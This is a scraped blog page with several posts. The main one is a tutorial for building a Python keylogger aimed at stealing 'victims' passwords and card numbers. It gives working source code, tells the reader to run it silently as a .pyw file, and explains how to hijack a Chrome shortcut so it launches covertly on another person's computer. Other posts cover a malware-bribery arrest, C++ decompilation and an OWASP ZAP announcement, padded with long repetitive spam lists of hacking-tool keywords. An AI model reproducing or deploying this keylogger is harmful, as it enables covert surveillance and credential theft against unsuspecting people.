Enter your email address:

Delivered by FeedBurner

Sunday, August 30, 2020

How To Make A Simple And Powerful Keylogger Using Python

A keylogger is a computer program which can be written using any computer programming language such as c++ when you install it on a Victim system it can keep the records of every keystroke in a text file. Keylogger is mainly used to steal confidential data such as passwords, credit card numbers etc.

How to make a python keylogger?

A keylogger can be programmed using any programming language such as c++, java, c# e.tc. For this tutorial, I will use python to make a keylogger, because python is flexible, powerful and simple to understand even a non-programmer can use python to make a keylogger.
Requirements to create a python keylogger
  • Computer With Operating system: Windows, Mac os or Linux
  • Python must be installed on the system
  • Pip (Python index package ) you will need this to install python software packages.
  • Pypiwin32 and PyHook packages
  • Basic understanding of computers
You will learn to install these things one by one. If you have already installed and configured the python development kit feel free to skip Part 1.
Part 1: Downloading Python and pip, setting up the environment to create the keylogger.Step 1:
Download python development kit by clicking here.
Choose python 2.7 because I am using this version. It is ok if you have a different version of python this method will work on every version of python.
Step 2:
Installation of python is pretty simple.Open the python setup file, Mark the checkboxes Very important else you have to set the python path manually, and click on Install Now.
Step 3:
You need Pypiwin32 and PyHook python packages to create python keylogger. To install these packages you need pip, you can install Pypiwin32 and PyHook without using pip which is not recommended.
To download pip go to https://pip.pypa.io/en/stable/installing/ and Save link as by right clicking on get-pip.py. when the download is done, just run the get-pip.py file.
Now you need to set the Variable path for pip to do this right click on the computer icon and choose properties.
Now click on the Advanced system settings
Choose Environment Variables.
Choose New, Set the Variable name: PATH and Variable value as C:\Python27\Scripts
Click on ok.
Part 2: Installing Pypiwin32 and PyHook python Packages using pip:
Open Command Prompt(CMD) and type: pip installs Pypiwin32 press the Enter Key, wait for the installation to complete. After the Pypiwin32 package installation type: pip install PyHook press the Enter Key and wait for the installation to complete.When done close the Command Prompt.
Part 3: Creating and testing the python keylogger:
Now you have configured your environment and installed all the necessary packages, let's start creating the keylogger. Click on the start menu and scroll down until you find Python 2.7, run python IDLE(GUI) by clicking on it.
Go to the File, from the drop-down menu choose New file.

Python Keylogger source code:

Copy these lines of code and paste into the new file. Modify the directory in the second line of code to your own location e.g 'C:\test\log.txt' this will create a folder named test in C save the log.txt file there when the Keylogger start.
import pyHook, pythoncom, sys, logging
file_log='F:\\test\\log.txt'
def onKeyboardEvent(event):
logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager=pyHook.HookManager()
hooks_manager.KeyDown=onKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
Save your file as a test.pyw at any location you want, the .pyw extension is very important because of it the python keylogger will run in the background without notifying the user.
The Python Keylogger is now completed you can test it out by opening it and typing some text in your browser, go to the log.txt file which is in the F:\test\log.txt on my PC. You will find your log.txt file in C:\test\log.txt.But what if you want to test it on someone else computer? you want to run it without the user knowing that it has been launched, this can be done by attaching it to the program that the victim always uses such as Google Chrome.
Let's make the python keylogger auto-launchable by attaching it the Google Chrome.
Copy the following code and paste into notepad. Save it by giving .bat extension e.g launch.bat in a hidden location, e.g c:\test\launch.bat
Now right click on the google chrome desktop shortcut icon and click on properties. You will see a field called Target. Change the target field to the batch file launch.bat directory that you created. let's say you have saved your launch.bat file in a test folder in C, Then change the target field with "C:\test\launch.bat". Now, whenever the user opens chrome the keylogger will run automatically.

Related word


Saturday, August 29, 2020

Russian Arrested After Offering $1 Million To U.S. Company Employee For Planting Malware

Hackers always find a way in, even if there's no software vulnerability to exploit. The FBI has arrested a Russian national who recently traveled to the United States and offered $1 million in bribe to an employee of a targeted company for his help in installing malware into the company's computer network manually. Egor Igorevich Kriuchkov, 27-year-old, entered the United States as a tourist

via The Hacker NewsRelated articles
  1. Hacker Tools Software
  2. Underground Hacker Sites
  3. Hacking Tools Pc
  4. Pentest Tools Free
  5. Pentest Tools Url Fuzzer
  6. Hackers Toolbox
  7. What Are Hacking Tools
  8. Hacking Tools For Beginners
  9. Hack And Tools
  10. How To Install Pentest Tools In Ubuntu
  11. Pentest Tools For Mac
  12. Blackhat Hacker Tools
  13. Nsa Hack Tools
  14. Bluetooth Hacking Tools Kali
  15. Hack Tools 2019
  16. Hack Tools For Games
  17. How To Make Hacking Tools
  18. Pentest Tools Apk
  19. Blackhat Hacker Tools
  20. Hack Tools For Games
  21. Pentest Tools Open Source
  22. Pentest Tools Github
  23. Hacking App
  24. Hack App
  25. Hack Tools For Pc
  26. Pentest Tools For Mac
  27. Pentest Box Tools Download
  28. Ethical Hacker Tools
  29. Pentest Tools Find Subdomains
  30. Pentest Tools Github
  31. What Is Hacking Tools
  32. Hak5 Tools
  33. Hack Apps
  34. Top Pentest Tools
  35. Pentest Tools Website Vulnerability
  36. Underground Hacker Sites
  37. Hack Website Online Tool
  38. Hacker Tools Mac
  39. Hacking Tools Windows 10
  40. Hack Tool Apk
  41. Usb Pentest Tools
  42. Pentest Tools Online
  43. Pentest Tools
  44. Tools For Hacker
  45. Hacker Tools Mac
  46. Best Hacking Tools 2019
  47. Hacking Tools Github
  48. Pentest Tools Android
  49. Hack Tools Mac
  50. Android Hack Tools Github
  51. Hacker Tools List
  52. Pentest Tools Online
  53. Hacking Tools For Windows 7
  54. Hacking Tools For Mac
  55. Hack Tools Download
  56. New Hacker Tools
  57. Pentest Tools Nmap
  58. Install Pentest Tools Ubuntu
  59. Pentest Tools For Android
  60. Pentest Recon Tools
  61. Pentest Tools Find Subdomains

Reversing Some C++ Io Operations

In general decompilers are not friendly with c++ let's analyse a simple program to get familiar with it.
Let's implement a simple code that loads a file into a vector and then save the vector with following functions:

  • err
  • load
  • save
  • main


Lets identify the typical way in C++ to print to stdout with the operator "<<"


The basic_ostream is initialized writing the word "error" to the cout, and then the operator<< again to add the endl.




The Main function simply calls  "vec = load(filename)"  but the compiler modified it and passed the vector pointer as a parámeter. Then it bulds and prints "loaded  " << size << " users".
And finally saves the vector to /tmp/pwd and print "saved".
Most of the mess is basically the operator "<<" to concat and print values.
Also note that the vectors and strings are automatically deallocated when exit the function.


And here is the code:


Let's take a look to the load function, which iterates the ifs.getline() and push to the vector.
First of all there is a mess on the function definition, __return_storage_ptr is the vector.
the ifstream object ifs is initialized as a basic_ifstream and then operator! checks if it wasn't possible to open the file and in that case calls err()
We see the memset and a loop, getline read a cstr like line from the file, and then is converted to a string before pushing it to the vector. lVar1 is the stack canary value.

In this situations dont obfuscate with the vector pointer vec initialization at the begining, in this case the logic is quite clear.



The function save is a bit more tricky, but it's no more than a vector iteration and ofs writing.
Looping a simple "for (auto s : *vec)" in the decompiler is quite dense, but we can see clearly two write, the second write DAT_0010400b is a "\n"



As we see, save implememtation is quite straightforward.




More articles


  1. Hack Tools For Ubuntu
  2. Nsa Hack Tools Download
  3. Pentest Tools Website Vulnerability
  4. Hacker Tools Linux
  5. Pentest Tools Linux
  6. Hacking App
  7. Hack Tools Github
  8. Hacker Tools For Ios
  9. Pentest Tools Online
  10. Hacking Tools For Windows 7
  11. Hacking App
  12. Ethical Hacker Tools
  13. Hack Tools 2019
  14. Pentest Tools Website Vulnerability
  15. Hacking App
  16. Physical Pentest Tools
  17. Pentest Tools Alternative
  18. Hack Website Online Tool
  19. Pentest Tools Url Fuzzer
  20. Pentest Tools Online
  21. Hacking Tools Download
  22. Pentest Tools Url Fuzzer
  23. Hacker Tools Apk Download
  24. Free Pentest Tools For Windows
  25. Android Hack Tools Github
  26. Hack Tools For Mac
  27. Termux Hacking Tools 2019
  28. Growth Hacker Tools
  29. Hack Tool Apk
  30. Wifi Hacker Tools For Windows
  31. Hacker Tools List
  32. Hacking Tools For Windows Free Download
  33. Termux Hacking Tools 2019
  34. New Hacker Tools
  35. Pentest Tools List
  36. Hacking Tools For Games
  37. Hacking Tools Name
  38. New Hack Tools
  39. Pentest Tools For Android
  40. Hacking Tools 2020
  41. Pentest Box Tools Download
  42. Pentest Tools Windows
  43. Hacker Hardware Tools
  44. Pentest Tools Android
  45. How To Hack
  46. Black Hat Hacker Tools
  47. Game Hacking
  48. Hacking Tools And Software
  49. Hacking Tools Software
  50. Hacking Tools For Beginners
  51. Hack Tools Online
  52. Pentest Tools Apk
  53. Pentest Tools Tcp Port Scanner
  54. Pentest Tools Url Fuzzer
  55. Hack Tools Download
  56. Hacking Apps
  57. Pentest Tools
  58. Pentest Tools Linux
  59. Hack Tools For Games
  60. Pentest Tools Apk
  61. Wifi Hacker Tools For Windows
  62. Hacker Techniques Tools And Incident Handling
  63. Hacking Tools Online
  64. Pentest Tools Bluekeep
  65. Hacking Tools 2019
  66. Hack Tools For Windows
  67. Hacking Tools 2019
  68. Hacker Tools Software
  69. Hacker Tools Software
  70. Hacking Tools And Software
  71. Hacker Tools 2020
  72. Hacker Tools Free Download
  73. Pentest Tools Kali Linux
  74. Blackhat Hacker Tools
  75. Hacking Apps
  76. Hacking Apps
  77. Tools For Hacker
  78. Wifi Hacker Tools For Windows
  79. Hacking Tools Download
  80. Hacking Tools For Mac
  81. What Are Hacking Tools
  82. Hacking Tools
  83. Hacker Tools For Windows
  84. Computer Hacker
  85. Pentest Tools Nmap
  86. Pentest Tools For Ubuntu
  87. Hacking Tools For Games
  88. Hacking Tools Software
  89. Computer Hacker
  90. Hacker Tools Apk Download
  91. Pentest Tools Download
  92. Hacker Tools Free
  93. Pentest Automation Tools
  94. Free Pentest Tools For Windows
  95. Hacker Tools For Windows
  96. Pentest Box Tools Download
  97. Hacking Tools For Windows
  98. Pentest Tools Free
  99. Hacking Tools Kit
  100. Hacker Security Tools
  101. New Hack Tools
  102. Hacker Tools Online
  103. Pentest Tools Website
  104. Hacking Tools For Windows Free Download
  105. Hack Tools For Games
  106. New Hacker Tools
  107. Hack Tools For Pc
  108. Pentest Tools Free
  109. Hack Tools
  110. Physical Pentest Tools
  111. Hacking Tools Kit
  112. Hacking Tools For Games
  113. Hacker Tools List
  114. Pentest Tools Alternative
  115. Pentest Tools Tcp Port Scanner
  116. Nsa Hack Tools Download
  117. Hacking Tools Usb
  118. Hacking Tools Name
  119. Hacker Tools
  120. Hacker Tools Software
  121. Hacker Techniques Tools And Incident Handling

Friday, August 28, 2020

OWASP ZAP Project - Zed Attack Proxy Team Releases Two Initiatives

The Zed Attack Proxy team is pleased to announce two recently released initiatives:


ZAP In Ten

The team have just launched a new series of videos called 'ZAP in Ten' in conjunction with AllDayDevOps.

ZAP in Ten is a series of short form videos featuring Simon Bennetts, project lead of the OWASP Zed Attack Proxy (ZAP)  project. Each video highlights a specific feature or resource for ZAP.

ZAP API Docs

As part of OWASP's participation in Google's Season of Docs, the ZAP project has had @sshniro working on API documentation. The first iteration of the documentation is now live It includes Java, Python, and shell example snippets all presented in a responsive and accessible design. Which we will continue to build on in the future.

Big thanks to Nirojan for his efforts on this wonderful initiative!  Congratulations and thanks to Google Open Source for helping to bring the open source and technical writer communities together!Related word
  1. Bluetooth Hacking Tools Kali
  2. Pentest Tools Linux
  3. Pentest Tools Port Scanner
  4. Pentest Tools Website
  5. Hacking Tools Windows 10
  6. Pentest Tools Linux
  7. Hacking Tools Pc
  8. What Is Hacking Tools
  9. Tools Used For Hacking
  10. How To Install Pentest Tools In Ubuntu
  11. Pentest Tools Github
  12. Hacker Tools Hardware
  13. Hacking Tools For Windows
  14. Tools 4 Hack
  15. Hacking Tools Download
  16. Hack Apps
  17. Hack Website Online Tool
  18. Hacking Tools Pc
  19. Pentest Tools Download
  20. Pentest Tools Android
  21. Pentest Tools Kali Linux
  22. Physical Pentest Tools
  23. Hacking Tools And Software
  24. Pentest Tools Alternative
  25. Blackhat Hacker Tools
  26. Hacker Tools Online
  27. World No 1 Hacker Software
  28. Hackers Toolbox
  29. Hacking Tools Windows 10
  30. Pentest Tools For Mac
  31. Pentest Tools Subdomain
  32. Hacker Tools
  33. Physical Pentest Tools
  34. Hacker Tools Software
  35. Hacker Tools Free
  36. Hacker
  37. Nsa Hack Tools
  38. Pentest Tools Online
  39. How To Make Hacking Tools
  40. Growth Hacker Tools
  41. Pentest Box Tools Download
  42. Hacking Tools 2019
  43. Hacking Tools Github
  44. Pentest Box Tools Download
  45. Hacker Tools 2020
  46. Best Hacking Tools 2019
  47. Hacker
  48. Best Hacking Tools 2019
  49. Termux Hacking Tools 2019
  50. Pentest Tools Subdomain
  51. Hack Tool Apk No Root
  52. Hacking Tools Windows
  53. Hack Tools Online
  54. Nsa Hack Tools Download
  55. Bluetooth Hacking Tools Kali
  56. Android Hack Tools Github
  57. Hack Tools Download
  58. Hacking Tools Usb
  59. Pentest Tools Nmap
  60. Usb Pentest Tools
  61. Beginner Hacker Tools
  62. Wifi Hacker Tools For Windows
  63. Hack Tools For Mac
  64. Pentest Tools Download
  65. Pentest Tools Website
  66. How To Make Hacking Tools
  67. Pentest Tools Free
  68. Hacking Tools 2019
  69. Hack Tools 2019
  70. Hack Tools For Mac
  71. Hacker Tools Software
  72. Hack Tools Download
  73. Hacking Tools Software
  74. Hacking Tools
  75. Pentest Tools Kali Linux
  76. Hacking Tools And Software
  77. Kik Hack Tools
  78. Pentest Box Tools Download
  79. Pentest Tools List
  80. Hacker
  81. Bluetooth Hacking Tools Kali
  82. Hacker Search Tools
  83. Pentest Tools For Mac
  84. Hacker Tools 2019
  85. Hacker Tools Windows
  86. Hacker Tools Hardware
  87. Hacking Tools Name
  88. Hacker Tools For Ios
  89. Hack Tools
  90. Pentest Tools For Mac
  91. Hacking Tools Github
  92. Kik Hack Tools
  93. Hacking Tools
  94. Hacker Tools 2019
  95. How To Hack
  96. Hacker Tools Apk Download
  97. Usb Pentest Tools
  98. Best Pentesting Tools 2018
  99. Hacking Tools Online
  100. Hacking App
  101. Pentest Tools Android
  102. Pentest Tools Subdomain
  103. Physical Pentest Tools
  104. Blackhat Hacker Tools
  105. Install Pentest Tools Ubuntu
  106. Tools 4 Hack
  107. Hacker Tools Github
  108. Kik Hack Tools
  109. Hacker Tools For Mac
  110. Easy Hack Tools
  111. Hacker Tools 2020
  112. What Are Hacking Tools
  113. Physical Pentest Tools
  114. Hacking Tools Online
  115. Hacker Tools Free
  116. Pentest Tools Website
  117. Termux Hacking Tools 2019
  118. Pentest Tools Online
  119. Hack Apps
  120. Hacker Tools For Ios
  121. Pentest Reporting Tools
  122. Hack Tools For Pc
  123. Bluetooth Hacking Tools Kali
  124. Pentest Tools Download
  125. Hacker Tools Hardware
  126. Ethical Hacker Tools
  127. Pentest Tools Nmap
  128. Hacking Tools For Windows Free Download
  129. Pentest Tools Website
  130. Hacker Tools Mac
  131. Tools 4 Hack
  132. Pentest Tools Subdomain
  133. Hacker Tools Online
  134. Hacker Tools Windows
  135. Pentest Box Tools Download
  136. Pentest Recon Tools
  137. Hack Tool Apk
  138. Pentest Tools For Android
  139. Pentest Tools Github
  140. Hacking App
  141. Hacks And Tools
  142. Hack Tools 2019
  143. Hacker Tools Hardware
  144. Pentest Tools
  145. Hack Tool Apk No Root
  146. Computer Hacker
  147. Hacking Tools Free Download
  148. How To Hack
  149. Hack Tools Online
  150. Kik Hack Tools
  151. Hack Tools For Ubuntu
  152. Hack Tools Download
  153. Hacking Tools Kit
  154. Pentest Tools Review
  155. Hacker Tools
  156. Best Hacking Tools 2019